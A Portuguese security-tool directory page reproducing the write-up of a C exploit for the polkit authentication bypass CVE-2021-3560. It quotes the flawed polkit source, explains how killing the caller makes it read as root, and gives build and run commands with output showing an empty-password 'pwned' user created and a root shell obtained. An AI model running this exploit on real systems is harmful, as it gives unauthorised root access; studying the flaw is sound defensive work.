Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3560 — Exploit em C para CVE-2021-3560, um desvio de autenticação no polkit permitindo que usuários não privilegiados criem uma conta privilegiada via DBus, com uma análise técnica detalhada. | Kitploit
Ferramentas/GitHubGitHub/hakivvi/cve-2021-3560
Autenticação e AutorizaçãoEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed Teaming
GitHubhakivvi/cve-2021-3560

CVE-2021-3560

Exploit em C para CVE-2021-3560, um desvio de autenticação no polkit permitindo que usuários não privilegiados criem uma conta privilegiada via DBus, com uma análise técnica detalhada.

Ver Repositório
40123há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-3560

um exploit confiável em C para CVE-2021-3560.

Resumo:

Ontem me deparei com este post no blog de Kevin Backhouse (descobridor desta vulnerabilidade), tentei os comandos bash fornecidos no post e, para minha surpresa, funcionou na minha máquina Kali Linux!

CVE-2021-3560 é uma bypass de autenticação no polkit, que permite que um usuário não privilegiado chame métodos privilegiados usando DBus. O PoC explora esse bug para chamar 2 métodos privilegiados fornecidos pelo accountsservice (CreateUser e SetPassword), o que nos permite criar um usuário privilegiado e depois definir uma senha para ele.

O polkit verifica se o chamador está autorizado a chamar tal método, fazendo isso primeiro verificando o ID de usuário do chamador; se for zero, assume-se que o chamador é root e a ação é permitida sem solicitar autenticação; caso contrário, solicita a senha do usuário.

A função polkit_system_bus_name_get_creds_sync() invoca 2 métodos para obter o UID e PID do chamador: GetConnectionUnixUser e GetConnectionUnixProcessID. O resultado dessas chamadas é escrito na struct data do tipo AsyncGetBusNameCredsData (esta struct é inicializada com 0) pela função de callback on_retrieved_unix_uid_pid(), e polkit_system_bus_name_get_creds_sync() bloqueia enquanto espera que a função de callback defina um erro ou o UID e PID.

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
  GDBusConnection *connection = NULL;
  GMainContext *tmp_context = NULL;

  connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
  if (connection == NULL)
    goto out;

  data.error = error;

  tmp_context = g_main_context_new ();
  g_main_context_push_thread_default (tmp_context);

  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
    g_main_context_iteration (tmp_context, TRUE);

a função de callback on_retrieved_unix_uid_pid() é invocada após cada chamada de método para recuperar a resposta (UID e PID) ou definir um erro. Esta função chama g_dbus_connection_call_finish() para recuperar a resposta; se um erro ocorrer, então define data.caught_error como TRUE e retorna (data.uid e data.pid permanecem 0). Caso contrário, atribui o valor recuperado (UID ou PID) a data.uid ou data.pid (dependendo de qual valor foi recuperado) e retorna.

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src, // connection
			   GAsyncResult         *res, // Async result object
			   gpointer              user_data) // data paramter passed from previous function
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error); // finish and get the reply
  if (!v) // error ??
    {
      data->caught_error = TRUE;
    }
  else
    {
      guint32 value;
      g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
      g_variant_unref (v);
      if (!data->retrieved_uid) // GetConnectionUnixUser method
	{
	  data->retrieved_uid = TRUE;
	  data->uid = value;
	}
      else
	{
	  g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
	  data->retrieved_pid = TRUE;
	  data->pid = value;
	}
    }
}

Os métodos GetConnectionUnixUser e GetConnectionUnixProcessID retornarão o UID e PID se encontrados (o processo chamador ainda está conectado ao barramento), ou um erro se ocorrer um erro (por exemplo: processo chamador morto).

Uma vez que data.uid e data.pid são definidos ou data.caught_error é definido, a função polkit_system_bus_name_get_creds_sync() continua e é aqui que a vulnerabilidade existe: polkit_system_bus_name_get_creds_sync() não retorna um erro se data.caught_error está definido; em vez disso, define o valor que está em data.uid para out_uid e retorna TRUE (mesmo se data.caught_error estiver definido). out_pid é um ponteiro para uma variável guint32 passado para polkit_system_bus_name_get_creds_sync() quando chamado por polkit_system_bus_name_get_user_sync():

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid, // pointer
				       guint32                       *out_pid, // NULL
				       GCancellable                  *cancellable,
				       GError                       **error)
{

  [snip]
  
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid) // TRUE
    *out_uid = data.uid; // set it even if there is an error [!]
  if (out_pid) // FALSE
    *out_pid = data.pid; // set it even if there is an error [!]
  ret = TRUE; // return TRUE even if there is an error [!]
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;

exploração:

se um processo A chama um método privilegiado usando DBus, então o polkit verificará o UID do chamador. Se o processo A sair imediatamente após enviar a mensagem, então os métodos GetConnectionUnixUser e GetConnectionUnixProcessID retornarão um erro porque o processo chamador não existe mais. A função de callback on_retrieved_unix_uid_pid() definirá data.caught_error como TRUE, data.uid e data.pid permanecerão inalterados (o que significa que ambos serão definidos como 0, pois a struct data é inicializada com 0). A função polkit_system_bus_name_get_creds_sync() continuará a execução e definirá out_uid para data.uid (0), e retornará TRUE.

Algumas funções continuarão retornando o UID falso (0), até que polkit_backend_session_monitor_get_user_for_subject() retorne user_of_subject (construído a partir do UID falso) para a função check_authorization_sync(), que verifica se o UID é root chamando identity_is_root_user(user_of_subject) que retornará TRUE e o processo A será autorizado.

root@kitploit:~
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{

  
  [snip]

  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  if (user_of_subject == NULL) // false
      goto out;

  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) // true
    {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
      goto out;
    }

  [snip]
 

PoC:

Decidi escrever um PoC usando a API C do dbus. Não usei sleep() enquanto esperava a mensagem ser enviada ao serviço alvo; em vez disso, as funções DBus fornecem um parâmetro de timeout. Então, ao (ab)usar este parâmetro, podemos forçar a função a retornar logo após enviar a mensagem e, em seguida, matar o processo. Isso nos permitirá explorar a vulnerabilidade no polkit e contornar a autenticação. Consulte este post no blog para os detalhes técnicos.

execução:

  1. compile o exploit:
root@kitploit:~
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
  1. execute o exploit:
root@kitploit:~
user@host: ./exploit
  • Saída:
root@kitploit:~
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
Baixar ferramenta